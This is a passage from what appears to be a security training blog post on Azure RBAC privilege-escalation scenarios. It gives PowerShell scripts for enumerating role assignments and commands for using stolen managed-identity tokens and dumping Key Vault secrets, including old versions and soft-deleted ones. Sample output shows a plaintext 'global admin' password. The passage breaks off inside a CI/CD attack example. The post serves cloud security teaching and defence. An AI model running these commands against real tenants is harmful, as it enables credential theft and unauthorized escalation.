style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; $roleDefinition | Format-List *&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;If we encounter a scenario where we control a &lt;span style="color: #ec38bc;"&gt;user-assigned managed identity&lt;/span&gt;, we can perform the RBAC role assignment enumeration by making appropriate modifications to the script. In this case, we will use the &lt;code&gt;Get-AzUserAssignedIdentity&lt;/code&gt; cmdlet to define the scope.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;code&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;$managedIdentityName = "your-user-assigned-managed-identity-name"&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$resourceGroupName = "your-resource-group-name"&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$subscriptionId = (Get-AzContext).Subscription.Id&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$managedIdentity = Get-AzUserAssignedIdentity -ResourceGroupName $resourceGroupName -Name $managedIdentityName&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;if ($managedIdentity -eq $null) {&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; Write-Host "User Assigned Managed Identity not found." -ForegroundColor Red&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; return&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;}&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$managedIdentityId = $managedIdentity.Id&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$apiVersion = '2022-04-01'&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&amp;amp;`$filter=assignedTo('$managedIdentityId')"&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$requestParams = @{&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; Method &amp;nbsp;= 'GET'&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; Uri &amp;nbsp; &amp;nbsp; = $uri&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; Headers = @{&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 'Authorization' = "Bearer $armtoken"&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;}&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$response = Invoke-RestMethod @requestParams&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;foreach ($assignment in $response.value) {&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionId = $assignment.properties.roleDefinitionId&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionIdParts = $roleDefinitionId -split '/'&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionIdFinal = $roleDefinitionIdParts[-1]&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; $roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; $roleDefinition | Format-List *&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;&lt;span&gt;Lastly, we may encounter a situation where we control a &lt;span style="color: #ec38bc;"&gt;service principal&lt;/span&gt; and need to enumerate its assigned RBAC roles. This can be achieved using the following script, which utilizes the &lt;code&gt;Get-AzADServicePrincipal&lt;/code&gt; cmdlet to define the appropriate API call scope.&lt;/span&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span&gt;&lt;br&gt;&lt;code&gt;$servicePrincipalName = "your-service-principal-name-or-app-id"&lt;/code&gt;&lt;br&gt;&lt;code&gt;$subscriptionId = (Get-AzContext).Subscription.Id&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$servicePrincipal = Get-AzADServicePrincipal -DisplayName $servicePrincipalName&lt;/code&gt;&lt;br&gt;&lt;code&gt;$servicePrincipalId = $servicePrincipal.Id&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token&lt;/code&gt;&lt;br&gt;&lt;code&gt;$apiVersion = '2022-04-01'&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&amp;amp;`$filter=assignedTo('$servicePrincipalId')"&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$requestParams = @{&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; Method &amp;nbsp;= 'GET'&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; Uri &amp;nbsp; &amp;nbsp; = $uri&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; Headers = @{&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 'Authorization' = "Bearer $armtoken"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; }&lt;/code&gt;&lt;br&gt;&lt;code&gt;}&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$response = Invoke-RestMethod @requestParams&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;foreach ($assignment in $response.value) {&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionId = $assignment.properties.roleDefinitionId&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionIdParts = $roleDefinitionId -split '/'&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionIdFinal = $roleDefinitionIdParts[-1]&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; $roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; $roleDefinition | Format-List *&lt;/code&gt;&lt;br&gt;&lt;code&gt;}&lt;/code&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&amp;nbsp;&lt;/h2&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Common &lt;/span&gt;&lt;span&gt;Azure&amp;nbsp;&lt;/span&gt;&lt;span&gt;RBAC &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;privilege escalation abuse&lt;/span&gt;&lt;span&gt; scenarios &#x1fa9c;&lt;/span&gt;&lt;/h2&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2 style="font-size: 24px;"&gt;1. Managed Identities with Excessive Permissions&amp;nbsp; &#x1f4a5;&lt;/h2&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;Managed identities are an Entra feature that provide an identity for a service or resource within an EntraID tenant. Managed identities simplify credential management for applications and services running in Azure by reducing the need to manually manage credentials. Managed identities are typically used when resources, such as Azure Virtual Machines (VM) or Azure Functions, need to authenticate to and securely access other Azure resources. When a managed identity is created for a resource, Azure automatically creates a service principal in the Entra ID tenant to represent that resource.&lt;br&gt;&lt;br&gt;This service principal is used to authenticate to the resource via Entra ID and is assigned specific permissions. Managed identities are a specialized type of identity designed for Azure resources, streamlining authentication and access management for enhanced security. There are two types of managed identities:&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="background-color: #ec38bc;"&gt;System-Assigned Managed Identity&lt;/span&gt;: This identity is tied to a single Azure resource, such as a Virtual Machine or Web App. It is created automatically when enabled and is destroyed if the associated resource is deleted.&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="background-color: #ec38bc;"&gt;User-Assigned Managed Identity&lt;/span&gt;: This identity is created as a standalone Azure resource and can be associated with as many Azure resources as needed.&lt;br&gt;&lt;br&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Managed identities are often granted specific roles or permissions within a subscription, such as Reader, Contributor, or Owner. If a managed identity with assigned roles is compromised, threat actors can potentially use it to escalate their privileges. For example, a compromised managed identity associated with a Web App could be used to access sensitive information stored in other Azure resources, as demonstrated in the diagram below.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Dec-10-2024-12-38-54-7391-AM.png?width=1594&amp;amp;height=826&amp;amp;name=image-png-Dec-10-2024-12-38-54-7391-AM.png" width="1594" height="826"&gt;&lt;br&gt;&lt;span style="font-size: 16px;"&gt;&lt;a href="https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/media/managed-identity-best-practice-recommendations/system-and-user-assigned-identities.png"&gt;Image source: Microsoft Learn&lt;/a&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;If an attacker identifies a public service such as an Azure App Service, specifically a Web App, e.g. hosted at&amp;nbsp;&lt;/span&gt;&lt;a href="https://www.google.com/url?q=https://staging.megabigtech.com/supportcareplus.php&amp;amp;sa=D&amp;amp;source=docs&amp;amp;ust=1733763949662106&amp;amp;usg=AOvVaw30YUwAHRWQiQxCGn0LTM95"&gt;https://staging.megabigtech.com/supportcareplus.php&lt;/a&gt;&lt;span&gt;, they may start enumerating the web app for potential vulnerabilities caused by poor coding practices. If a Command Injection vulnerability is found, it could be exploited to access the &lt;span style="font-style: italic;"&gt;IDENTITY_ENDPOINT&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;IDENTITY_HEADER&lt;/span&gt; environment variables.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Oct-21-2024-08-05-01-5622-PM.png?width=2322&amp;amp;height=1104&amp;amp;name=image-png-Oct-21-2024-08-05-01-5622-PM.png" width="2322" height="1104" alt="image-png-Oct-21-2024-08-05-01-5622-PM" style="height: auto; max-width: 100%; width: 2322px;"&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;The script below can be used to obtain tokens for an attached Managed Identity.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;code&gt;&lt;span style="font-size: 20px;"&gt;$armtoken = 'eyJ0eX...vQ-d9oDA'&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;$msgraphtoken = 'eyJ0eXAi...z5dpYw'&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;$keyvaulttoken = 'eyJ0e...0Bt84Ng'&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Connect-AzAccount -AccessToken $armtoken -MicrosoftGraphAccessToken $msgraphtoken -KeyVaultAccessToken $keyvaulttoken -AccountId '0000000-0000-0000-0000-000000000'&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;PS C:\AzureTools&amp;gt; Get-AzResource&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: topsecretkeyvault&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;ResourceGroupName : prototypes&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;ResourceType &amp;nbsp; &amp;nbsp; &amp;nbsp;: Microsoft.KeyVault/vaults&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Location &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: eastus&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;ResourceId &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: /subscriptions/&amp;lt;SUBSCRIPTION_ID/resourceGroups/prototypes/providers/Microsoft.KeyVault/vaults/topsecretkeyvault&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;code&gt;&lt;span style="font-size: 20px;"&gt;Tags &amp;nbsp; &amp;nbsp; &lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;:&lt;/code&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;After obtaining the tokens, the example above demonstrates how an Azure Key Vault is discovered. The attackers can then begin extracting sensitive information from it. &lt;/span&gt;&lt;span&gt;Another common attack vector for this type of privilege escalation involves abusing command execution permissions on a Virtual Machine, such as &lt;code&gt;Microsoft.Compute/virtualMachines/runCommand/action&lt;/code&gt;. Attackers can exploit these permissions to execute commands on the VM with system privileges, enabling them to steal access tokens. &lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&#x1f4a1; For more details on Azure VM attacks, check out this excellent &lt;a href="https://blog.pwnedlabs.io/diving-deep-into-azure-vm-attack-vectors"&gt;blog post&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;Azure Automation Accounts provide a service for automating tasks across Azure resources, on-premises infrastructure, and other cloud providers. They enable automation through Runbooks, Configuration Management, update management, and shared resources like credentials, certificates, and connections. According to Microsoft, some common use cases for Azure Automation include:&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span&gt;Deploying virtual machines across hybrid environments using Runbooks&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span&gt;Identifying configuration changes&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span&gt;Configuring virtual machines&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span&gt;Retrieving inventory details&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span style="font-size: 18px;"&gt;Runbooks are a core feature of Azure Automation and support scripting languages such as PowerShell and Python. They enable the automation of tasks within Azure, such as starting multiple virtual machines simultaneously. Runbooks can execute in either the Azure Sandbox or a Hybrid Runbook Worker environment. Additionally, a variety of prebuilt Runbooks for diverse automation tasks can be found in this GitHub repository.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Managed identities play a crucial role in Azure Automation Accounts, as they are often used to perform actions on other Azure resources. If an attacker gains access to an Automation Account with elevated permissions, they can exploit Runbooks to execute commands across resources. This could result in unauthorized actions such as data extraction or configuration changes.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;As Managed Identities can be associated with various Azure services, attackers can leverage them to escalate privileges or conduct lateral movement by compromising resources like Azure Logic Apps and Function Apps.&lt;br&gt;&lt;/span&gt;&lt;br&gt;&lt;/span&gt;
&lt;br&gt; 
&lt;h2 style="font-size: 24px;"&gt;2. Key Vault Misuse for Secrets and Certificates&amp;nbsp; &#x1f511;&lt;/h2&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;Azure Key Vault is a service for securely storing and managing sensitive information such as passwords, connection strings, certificates, private keys, and more. It simplifies the administration of application secrets and integrates seamlessly with other Azure services. Common objects stored in Key Vaults include:&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li style="font-size: 18px;"&gt;Cryptographic Keys (e.g., RSA, EC)&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Secrets (e.g., passwords, connection strings)&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Certificates (including life cycle management)&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Storage Account Keys (for managing and rotating access keys for Storage Accounts)&lt;br&gt;&lt;br&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p style="font-size: 18px;"&gt;If attackers compromise accounts with &lt;a href="https://learn.microsoft.com/en-us/azure/key-vault/general/rbac-guide?tabs=azure-cli#azure-built-in-roles-for-key-vault-data-plane-operations"&gt;specific RBAC roles&lt;/a&gt;, they may gain unauthorized access to Key Vaults containing critical credentials. These leaked secrets may allow attackers to escalate privileges within the Azure environment, access protected data, or impersonate identities.&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;code&gt;Get-AzKeyVaultSecret -VaultName topsecretkeyvault&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;code&gt;Vault Name &amp;nbsp; : topsecretkeyvault&lt;/code&gt;&lt;br&gt;&lt;code&gt;Name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : globaladmin-creds&lt;/code&gt;&lt;br&gt;&lt;code&gt;Version &amp;nbsp; &amp;nbsp; &amp;nbsp;:&amp;nbsp;&lt;/code&gt;&lt;br&gt;&lt;code&gt;Id &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : https://topsecretkeyvault.vault.azure.net:443/secrets/globaladmin-cred&lt;/code&gt;&lt;br&gt;&lt;code&gt;Enabled &amp;nbsp; &amp;nbsp; &amp;nbsp;: True&lt;/code&gt;&lt;br&gt;&lt;code&gt;Expires &amp;nbsp; &amp;nbsp; &amp;nbsp;:&amp;nbsp;&lt;/code&gt;&lt;br&gt;&lt;code&gt;Not Before &amp;nbsp; :&amp;nbsp;&lt;/code&gt;&lt;br&gt;&lt;code&gt;Created &amp;nbsp; &amp;nbsp; &amp;nbsp;: 10/23/2024 17:13:13&lt;/code&gt;&lt;br&gt;&lt;code&gt;Updated &amp;nbsp; &amp;nbsp; &amp;nbsp;: 10/23/2024 17:13:13&lt;/code&gt;&lt;br&gt;&lt;code&gt;Content Type :&amp;nbsp;&lt;/code&gt;&lt;br&gt;&lt;code&gt;Tags &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; :&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;code&gt;Get-AzKeyVaultSecret -VaultName topsecretkeyvault -SecretName globaladmin-creds -AsPlainText&lt;br&gt;IaMPwn3d!&lt;/code&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;Another important attack vector to consider is the versioning feature of secrets in Azure Key Vault. Each secret in a Key Vault can have multiple versions, with each version representing a unique value. When a new value is assigned to a secret, a new version is created. This functionality allows administrators to maintain a history of changes and easily roll back to previous versions when needed.&lt;br&gt;&lt;br&gt;However, attackers can exploit this feature by searching through older versions to uncover forgotten secrets, such as credentials that may still be in use.&lt;br&gt;&lt;br&gt;The following Az PowerShell command can be used to list all Key Vault secrets, including their older versions:&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p&gt;&lt;code&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;Get-AzKeyVaultSecret -VaultName 'KEYVAULT_NAME' -Name 'SECRET_NAME' -IncludeVersions&lt;/span&gt;&lt;br&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;Additionally, a specific version of a secret can be retrieved, exposing sensitive data that was presumed removed from the Key Vault:&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;code&gt;&lt;span&gt;Get-AzKeyVaultSecret -VaultName 'KEYVAULT_NAME' -Name 'SECRET_NAME' -Version 'VERSION' -AsPlainText&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;&lt;/span&gt;&lt;span&gt;Another frequently overlooked attack vector is the soft-delete feature of Azure Key Vault. This feature allows recovery of deleted Key Vaults and their objects (keys, secrets, and certificates). &lt;a href="https://learn.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview"&gt;According to Microsoft's documentation&lt;/a&gt;, when a secret, key, or certificate is deleted, it remains recoverable for a configurable period of 7 to 90 calendar days. If no specific configuration is applied, the default recovery period is set to 90 days.&lt;br&gt;&lt;br&gt;While this feature provides a safety net for accidental deletions, it can also be exploited by attackers. If they gain access to a Key Vault within this recovery window, they can retrieve and misuse soft-deleted secrets.&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;The following command lists soft-deleted Key Vault secrets:&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;code&gt;&lt;span&gt;Get-AzKeyVaultSecret -VaultName 'KEYVAULTNAME' -InRemovedState&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;Once a soft-deleted secret is identified, it can be restored and its plaintext value retrieved using these commands:&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;code&gt;Undo-AzKeyVaultSecretRemoval -VaultName "KEYVAULTNAME" -Name &amp;nbsp;'SECRETNAME'&lt;/code&gt;&lt;br&gt;&lt;code&gt;Get-AzKeyVaultSecret -VaultName &amp;nbsp;'KEYVAULTNAME' -Name &amp;nbsp;'SECRETNAME' -AsPlainText&lt;/code&gt;&lt;/p&gt; 
&lt;h2 style="font-size: 24px;"&gt;&amp;nbsp;&lt;/h2&gt; 
&lt;h2 style="font-size: 24px;"&gt;3. Abusing Azure DevOps and CI/CD Pipelines&amp;nbsp; &#x1f9e8;&lt;/h2&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;DevOps is a collaborative methodology that unifies development and operations teams to optimize software delivery processes. It focuses on automation, continuous integration, and continuous delivery (CI/CD) to enhance efficiency, reliability, and deployment speed. CI/CD pipelines automate code integration, testing, and deployment, enabling rapid and frequent software releases.&lt;br&gt;&lt;br&gt;Azure DevOps is a cloud-based suite of tools and services designed to support the entire software development lifecycle. It provides a comprehensive platform for managing code, tracking work, automating builds, and deploying applications. Its key components include:&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="color: #ec38bc;"&gt;Azure Repos&lt;/span&gt; for version control&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="color: #ec38bc;"&gt;Azure Pipelines &lt;/span&gt;for CI/CD automation&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="color: #ec38bc;"&gt;Azure Boards&lt;/span&gt; for work tracking and project management&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="color: #ec38bc;"&gt;Azure Test Plans&lt;/span&gt; for quality assurance and testing&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="color: #ec38bc;"&gt;Azure Artifacts&lt;/span&gt; for package management&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;Attackers who gain access to security principals (e.g., user principals, service principals, or managed identities) with permissions in Azure DevOps can exploit its features and &lt;a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles/devops"&gt;built-in roles&lt;/a&gt; to perform enumeration or carry out attacks within the tenant. Common attack vectors include:&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li style="font-size: 18px;"&gt;Gaining control of DevOps Managed Identities by requesting access tokens&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Accessing sensitive information stored in repositories&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Modifying or tampering with repositories&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Abusing CI/CD tools, such as pipelines or systems like Jenkins, to execute malicious code on target systems&lt;br&gt;&lt;br&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p style="font-size: 18px;"&gt;For instance, consider an attack chain where an attacker compromises an identity with Contributor access to a GitHub repository (this refers to the GitHub role, not the &lt;a href="https://github.com/MicrosoftDocs/azure-docs/blob/main/articles/role-based-access-control/built-in-roles/privileged.md#contributor"&gt;built-in Azure Contributor role&lt;/a&gt;). Upon inspecting the repository’s README file, the attacker discovers that the repository is part of a CI/CD pipeline used to test various Azure Web App features, such as extracting text from PDF files. Let us also assume that the Web App at hand is accessible by the attacker. This could happen from either an unauthenticated perspective, if the Web App is publicly available, or an authenticated perspective, should the compromised account that the attacker controls have access.&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;em&gt;Original &lt;code&gt;process_file.py&lt;/code&gt;&lt;/em&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;import logging&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;import azure.functions as func&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;def main(req: func.HttpRequest) -&amp;gt; func.HttpResponse:&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; logging.info('Processing request for image metadata.')&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; image_url = req.params.get('image_url')&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; if not image_url:&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return func.HttpResponse(&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Please provide an image_url parameter.",&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; status_code=400&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 